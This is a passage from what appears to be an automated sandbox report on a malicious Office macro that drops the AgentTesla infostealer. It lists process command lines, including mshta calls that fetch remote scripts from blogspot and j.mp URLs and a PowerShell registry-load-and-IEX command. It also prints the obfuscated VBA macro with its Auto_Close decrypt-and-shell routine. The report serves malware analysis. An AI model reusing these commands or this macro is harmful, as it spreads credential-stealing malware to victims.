Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX
Imagebase:	0x21ac0000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000018.00000002.2370323670.0000000004854000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000018.00000002.2361625874.000000000461E000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: taskkill.exe PID: 1620 Parent PID: 2340

General

Start time:	13:44:47
Start date:	13/01/2021
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im EXCEL.exe
Imagebase:	0xffdb0000
File size:	112640 bytes
MD5 hash:	3722FA501DCB50AE42818F9034906891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 2796 Parent PID: 848

General

Start time:	13:44:48
Start date:	13/01/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' ((gp HKCU:\Software).meather)\|IEX
Imagebase:	0x13fcb0000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: MSBuild.exe PID: 2720 Parent PID: 2816

General

Start time:	13:44:51
Start date:	13/01/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x12b0000
File size:	261944 bytes
MD5 hash:	7FB523211C53D4AB3213874451A928AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001D.00000002.2291584431.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001D.00000002.2295286876.00000000026F1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000002.2295286876.00000000026F1000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: mshta.exe PID: 2468 Parent PID: 1388

General

Start time:	13:44:54
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://backbones1234511a.blogspot.com/p/stback1.html'', 0 : window.close')
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mshta.exe PID: 2236 Parent PID: 2468

General

Start time:	13:44:57
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' https://backbones1234511a.blogspot.com/p/stback1.html
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 1776 Parent PID: 2236

General

Start time:	13:45:02
Start date:	13/01/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX
Imagebase:	0x21ac0000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000021.00000002.2354098697.0000000004834000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000021.00000002.2353771380.00000000045FE000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: mshta.exe PID: 592 Parent PID: 1388

General

Start time:	13:45:02
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://startthepartyup.blogspot.com/p/backbone14.html'', 0 : window.close')
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mshta.exe PID: 2224 Parent PID: 592

General

Start time:	13:45:04
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' https://startthepartyup.blogspot.com/p/backbone14.html
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mshta.exe PID: 532 Parent PID: 1388

General

Start time:	13:45:10
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://ghostbackbone123.blogspot.com/p/ghostbackup13.html'', 0 : window.close')
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mshta.exe PID: 2112 Parent PID: 532

General

Start time:	13:45:12
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' https://ghostbackbone123.blogspot.com/p/ghostbackup13.html
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Module1

Declaration

Line	Content
1	Attribute VB_Name = "Module1"

Executed Functions

Subroutine Auto_Close, APIs: 37, Strings: 17, Number of lines: 19, Relevance: 116.019

APIs	Meta Information
Part of subcall function decrypt@Module1: Len
Part of subcall function decrypt@Module1: Chr
Part of subcall function decrypt@Module1: Asc
Part of subcall function decrypt@Module1: Mid
Part of subcall function decrypt@Module1: Len
Part of subcall function decrypt@Module1: Chr
Part of subcall function decrypt@Module1: Asc
Part of subcall function decrypt@Module1: Mid
Part of subcall function decrypt@Module1: Len
Part of subcall function decrypt@Module1: Chr
Part of subcall function decrypt@Module1: Asc
Part of subcall function decrypt@Module1: Mid
Part of subcall function decrypt@Module1: Len
Part of subcall function decrypt@Module1: Chr
Part of subcall function decrypt@Module1: Asc
Part of subcall function decrypt@Module1: Mid
Part of subcall function decrypt@Module1: Len
Part of subcall function decrypt@Module1: Chr
Part of subcall function decrypt@Module1: Asc
Part of subcall function decrypt@Module1: Mid
MsgBox
Part of subcall function decrypt@Module1: Len
Part of subcall function decrypt@Module1: Chr
Part of subcall function decrypt@Module1: Asc
Part of subcall function decrypt@Module1: Mid
Shell	Shell("ping.exe") -> 2776 Shell("mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv") -> 2756 Shell("ping.exe") -> 2720
Part of subcall function decrypt@Module1: Len
Part of subcall function decrypt@Module1: Chr
Part of subcall function decrypt@Module1: Asc
Part of subcall function decrypt@Module1: Mid
Shell	Shell("ping.exe") -> 2776 Shell("mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv") -> 2756 Shell("ping.exe") -> 2720
WINWORD
Shell	Shell("ping.exe") -> 2776 Shell("mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv") -> 2756 Shell("ping.exe") -> 2720
Part of subcall function decrypt@Module1: Len
Part of subcall function decrypt@Module1: Chr
Part of subcall function decrypt@Module1: Asc
Part of subcall function decrypt@Module1: Mid

Strings	Decrypted Strings
"9"
"q"
"1"
"u"
"7"
"h"
"8"
"u"
"9"
"\|"
" http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv"
"9"
"N{{x{*"
"8"
"xqvo6m\x20acm"
"8"
"xqvo6m\x20acm"

Line	Instruction	Meta Information
2	Sub Auto_Close()
4	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa82 = decrypt("q", "9")	executed
6	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa83 = decrypt("u", "1")
8	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa84 = decrypt("h", "7")
10	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8 = decrypt("u", "8")
12	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa81 = decrypt("\|", "9")
14	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa85 = " http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv"
16	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8 = \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8
18	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa83 = \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa83
20	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa84 = \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa84
22	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa85 = \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa85
24	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa81 = \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa81
26	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa82 = \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa82
28	\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8mm = \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8 + \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa81 + \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa82 + \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa83 + \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa84 + \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa85
30	MsgBox (decrypt("N{{x{*", "9"))	MsgBox
30	Shell (decrypt("xqvo6m\x20acm", "8"))	Shell("ping.exe") -> 2776 executed
30	Shell (WINWORD + \xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8al\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8c\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8\xa8mm)	Shell("ping.exe") -> 2776 WINWORD executed
30	Shell (decrypt("xqvo6m\x20acm", "8"))	Shell("ping.exe") -> 2776 executed
32	End Sub

Function decrypt, APIs: 4, Strings: 25, Number of lines: 87, Relevance: 62.087

APIs	Meta Information
Len	Len("q") -> 1 Len("u") -> 1 Len("h") -> 1 Len("\|") -> 1 Len("N{{x{") -> 6 Len*("xqvo6m\xfffdm") -> 8
Chr
Asc
Mid

Strings	Decrypted Strings
"AaaA"
"KCzK"
"TpqzJEi"
"uRYf"
"yqPfQprLotGR"
"uRYf"
"yqPfQprLotGR"
"KCzK"
"yqPfQprLotGR"
"AaaA"
"uRYf"
"TpqzJEi"
"TpqzJEi"
"KCzK"
"AaaA"
"YfvVUlbeV"
"wsEU"
"lMhLkBNCzt"
"kPKLJ"
"kPKLJ"
"lMhLkBNCzt"
"mrEBkxQQ"
"YfvVUlbeV"
"mrEBkxQQ"
"wsEU"

Line	Instruction	Meta Information
187	Public Function decrypt(MvVDtfsY1 as String, JLzWDvGFm as Integer)
189	Dim auDGxBsT4 as Integer	executed
191	For auDGxBsT4 = 1 To Len(MvVDtfsY1)	Len("q") -> 1 executed
194	Goto nXgSUoXaonITwVRyRI
195	nXgSUoXaonITwVRyRI:
198	Goto kLfKjAbAMGZHeNZfbmDS
199	KDnVYsUanxSgTF:
202	yTHQpjMOvPUdSyHH = "uRYf"
204	Goto wuQEVHLmLQ
205	JKTeZCRlEYSHn:
208	MgzujOYZQcMFMrEDT = "yqPfQprLotGR"
210	Goto rpugZgKQQmqtk
211	QUGzGlLxMQTLkNscYMh:
214	Mid (MvVDtfsY1, auDGxBsT4, 1) = Chr(Asc(Mid(MvVDtfsY1, auDGxBsT4, 1)) - JLzWDvGFm)	Chr Asc Mid
216	Goto huFonbMoKQlSk
217	bzdHFncwmdrB:
220	NAnOljLtKwAaALFYUs = "KCzK"
222	Goto VIIksEhAgEViVTNgdzju
223	VIIksEhAgEViVTNgdzju:
226	MgzujOYZQcMFMrEDT = "yqPfQprLotGR"
228	Goto JVmnIKTrZCRyEYgVBw
229	kLfKjAbAMGZHeNZfbmDS:
232	HHQbeVuJCmTQrTYmj = "AaaA"
234	Goto hgkVcjAbaqg
235	hgkVcjAbaqg:
238	yTHQpjMOvPUdSyHH = "uRYf"
240	Goto bzdHFncwmdrB
241	yYLJDVSpLkpmxA:
244	MbIaLPpebUnkHdBHDP = "TpqzJEi"
246	Goto JKTeZCRlEYSHn
247	JVmnIKTrZCRyEYgVBw:
250	MbIaLPpebUnkHdBHDP = "TpqzJEi"
252	Goto QUGzGlLxMQTLkNscYMh
253	rpugZgKQQmqtk:
256	NAnOljLtKwAaALFYUs = "KCzK"
258	Goto KDnVYsUanxSgTF
259	huFonbMoKQlSk:
262	Goto yYLJDVSpLkpmxA
263	wuQEVHLmLQ:
266	HHQbeVuJCmTQrTYmj = "AaaA"
268	Goto ktRMprYexFvb
269	ktRMprYexFvb:
273	Next auDGxBsT4	Len("q") -> 1 executed
276	Goto mjbRBwEkswXsnplYNF
277	mjbRBwEkswXsnplYNF:
280	Goto lelPqcswyqPsQHC
281	BYHSYUgxLTUeCxacIOi:
284	FGQojMOuBUcRxstrw = "YfvVUlbeV"
286	Goto pUQQPUFLTkKJaPS
287	zEROxKkkLTgIcHgxYxIC:
290	pBexdASsSeYqawg = "wsEU"
292	Goto BYHSYUgxLTUeCxacIOi
293	VQuwdxCKAgppnsP:
296	Goto ChtsIMPGgvoYFI
297	pUQQPUFLTkKJaPS:
300	JomUIdTKZjRQEEg = "lMhLkBNCzt"
302	Goto HlPNvkEulzJ
303	HlPNvkEulzJ:
306	IgPagcnEFbdmJqTkQQq = "kPKLJ"
308	Goto TJAOZHHuhHerFmD
309	lelPqcswyqPsQHC:
312	IgPagcnEFbdmJqTkQQq = "kPKLJ"
314	Goto FfTQKdawSrxtEIQ
315	OoOaTmjFcAsoARgBp:
318	decrypt = MvVDtfsY1
320	Goto VQuwdxCKAgppnsP
321	FfTQKdawSrxtEIQ:
324	JomUIdTKZjRQEEg = "lMhLkBNCzt"
326	Goto gpzuYnFatnd
327	ChtsIMPGgvoYFI:
330	KRZDPPfjmeCRKucf = "mrEBkxQQ"
332	Goto zEROxKkkLTgIcHgxYxIC
333	gpzuYnFatnd:
336	FGQojMOuBUcRxstrw = "YfvVUlbeV"
338	Goto OONSDwDivuKNQIhw
340	xfhBejwGcpdOqMLnUm:
344	Goto cryKMTIhjNeuJeyeLL
345	cryKMTIhjNeuJeyeLL:
348	KRZDPPfjmeCRKucf = "mrEBkxQQ"
350	Goto OoOaTmjFcAsoARgBp
351	OONSDwDivuKNQIhw:
354	pBexdASsSeYqawg = "wsEU"
357	Goto xfhBejwGcpdOqMLnUm
360	Goto ofmAwoLutcZuXfyhyL
361	ofmAwoLutcZuXfyhyL:
363	TJAOZHHuhHerFmD:
367	End Function

Non-Executed Functions

Function piRACQzERc, APIs: 0, Strings: 14, Number of lines: 31, Relevance: 22.531

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"
"SoqzJEixPkDxnScc"
"tfYfJVUlpsjIY"
"PhSQwQicurO"
"umiuKavjsPKoqQrwEtZi"
"3177"
"NyrydDpFJLDdFkUPE"
"cSgraZMyawIQ"
"1628"
"3812"

Line	Instruction	Meta Information
164	Public Function piRACQzERc()
165	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
165	End
165	Endif
166	Dim qhGjOMujDtky as Long
167	qhGjOMujDtky = "4755"
168	Goto DnxDzLdezAJ
168	DnxDzLdezAJ:
170	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
170	End
170	Endif
171	If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then
171	End
171	Endif
172	If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then
172	End
172	Endif
173	Goto LaVESrsScoQkOnFfF
173	LaVESrsScoQkOnFfF:
175	Goto uYZFLfndIDECHsz
175	uYZFLfndIDECHsz:
177	Dim RAznnOQjLfKjAMAys as Integer
178	RAznnOQjLfKjAMAys = "3177"
179	If "NyrydDpFJLDdFkUPE" = "cSgraZMyawIQ" Then
179	End
179	Endif
180	Dim gzSmhVBKLJOzszerqGK as Long
181	gzSmhVBKLJOzszerqGK = "1628"
182	Dim KhgHpGswQxIC as String
183	KhgHpGswQxIC = "3812"
185	End Function

Subroutine kVazolfxuRnLRNadrMO, APIs: 0, Strings: 13, Number of lines: 29, Relevance: 21.029

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"
"SoqzJEixPkDxnScc"
"tfYfJVUlpsjIY"
"PhSQwQicurO"
"umiuKavjsPKoqQrwEtZi"
"3177"
"NyrydDpFJLDdFkUPE"
"cSgraZMyawIQ"
"1628"

Line	Instruction	Meta Information
144	Private Sub kVazolfxuRnLRNadrMO()
145	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
145	End
145	Endif
146	Dim qhGjOMujDtky as Long
147	qhGjOMujDtky = "4755"
148	Goto DnxDzLdezAJ
148	DnxDzLdezAJ:
150	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
150	End
150	Endif
151	If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then
151	End
151	Endif
152	If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then
152	End
152	Endif
153	Goto LaVESrsScoQkOnFfF
153	LaVESrsScoQkOnFfF:
155	Goto uYZFLfndIDECHsz
155	uYZFLfndIDECHsz:
157	Dim RAznnOQjLfKjAMAys as Integer
158	RAznnOQjLfKjAMAys = "3177"
159	If "NyrydDpFJLDdFkUPE" = "cSgraZMyawIQ" Then
159	End
159	Endif
160	Dim gzSmhVBKLJOzszerqGK as Long
161	gzSmhVBKLJOzszerqGK = "1628"
163	End Sub

Function AKQMZpqLNQucEUBHbjY, APIs: 0, Strings: 12, Number of lines: 27, Relevance: 19.527

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"
"SoqzJEixPkDxnScc"
"tfYfJVUlpsjIY"
"PhSQwQicurO"
"umiuKavjsPKoqQrwEtZi"
"3177"
"NyrydDpFJLDdFkUPE"
"cSgraZMyawIQ"

Line	Instruction	Meta Information
126	Private Function AKQMZpqLNQucEUBHbjY()
127	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
127	End
127	Endif
128	Dim qhGjOMujDtky as Long
129	qhGjOMujDtky = "4755"
130	Goto DnxDzLdezAJ
130	DnxDzLdezAJ:
132	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
132	End
132	Endif
133	If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then
133	End
133	Endif
134	If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then
134	End
134	Endif
135	Goto LaVESrsScoQkOnFfF
135	LaVESrsScoQkOnFfF:
137	Goto uYZFLfndIDECHsz
137	uYZFLfndIDECHsz:
139	Dim RAznnOQjLfKjAMAys as Integer
140	RAznnOQjLfKjAMAys = "3177"
141	If "NyrydDpFJLDdFkUPE" = "cSgraZMyawIQ" Then
141	End
141	Endif
143	End Function

Subroutine GhgwmphFjNLti, APIs: 0, Strings: 10, Number of lines: 24, Relevance: 16.524

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"
"SoqzJEixPkDxnScc"
"tfYfJVUlpsjIY"
"PhSQwQicurO"
"umiuKavjsPKoqQrwEtZi"
"3177"

Line	Instruction	Meta Information
109	Private Sub GhgwmphFjNLti()
110	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
110	End
110	Endif
111	Dim qhGjOMujDtky as Long
112	qhGjOMujDtky = "4755"
113	Goto DnxDzLdezAJ
113	DnxDzLdezAJ:
115	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
115	End
115	Endif
116	If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then
116	End
116	Endif
117	If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then
117	End
117	Endif
118	Goto LaVESrsScoQkOnFfF
118	LaVESrsScoQkOnFfF:
120	Goto uYZFLfndIDECHsz
120	uYZFLfndIDECHsz:
122	Dim RAznnOQjLfKjAMAys as Integer
123	RAznnOQjLfKjAMAys = "3177"
125	End Sub

Subroutine YqawgrxtEVk, APIs: 0, Strings: 9, Number of lines: 22, Relevance: 15.022

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"
"SoqzJEixPkDxnScc"
"tfYfJVUlpsjIY"
"PhSQwQicurO"
"umiuKavjsPKoqQrwEtZi"

Line	Instruction	Meta Information
94	Public Sub YqawgrxtEVk()
95	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
95	End
95	Endif
96	Dim qhGjOMujDtky as Long
97	qhGjOMujDtky = "4755"
98	Goto DnxDzLdezAJ
98	DnxDzLdezAJ:
100	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
100	End
100	Endif
101	If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then
101	End
101	Endif
102	If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then
102	End
102	Endif
103	Goto LaVESrsScoQkOnFfF
103	LaVESrsScoQkOnFfF:
105	Goto uYZFLfndIDECHsz
105	uYZFLfndIDECHsz:
108	End Sub

Function CHflsQkjzDFxQmeO, APIs: 0, Strings: 9, Number of lines: 20, Relevance: 15.02

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"
"SoqzJEixPkDxnScc"
"tfYfJVUlpsjIY"
"PhSQwQicurO"
"umiuKavjsPKoqQrwEtZi"

Line	Instruction	Meta Information
81	Public Function CHflsQkjzDFxQmeO()
82	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
82	End
82	Endif
83	Dim qhGjOMujDtky as Long
84	qhGjOMujDtky = "4755"
85	Goto DnxDzLdezAJ
85	DnxDzLdezAJ:
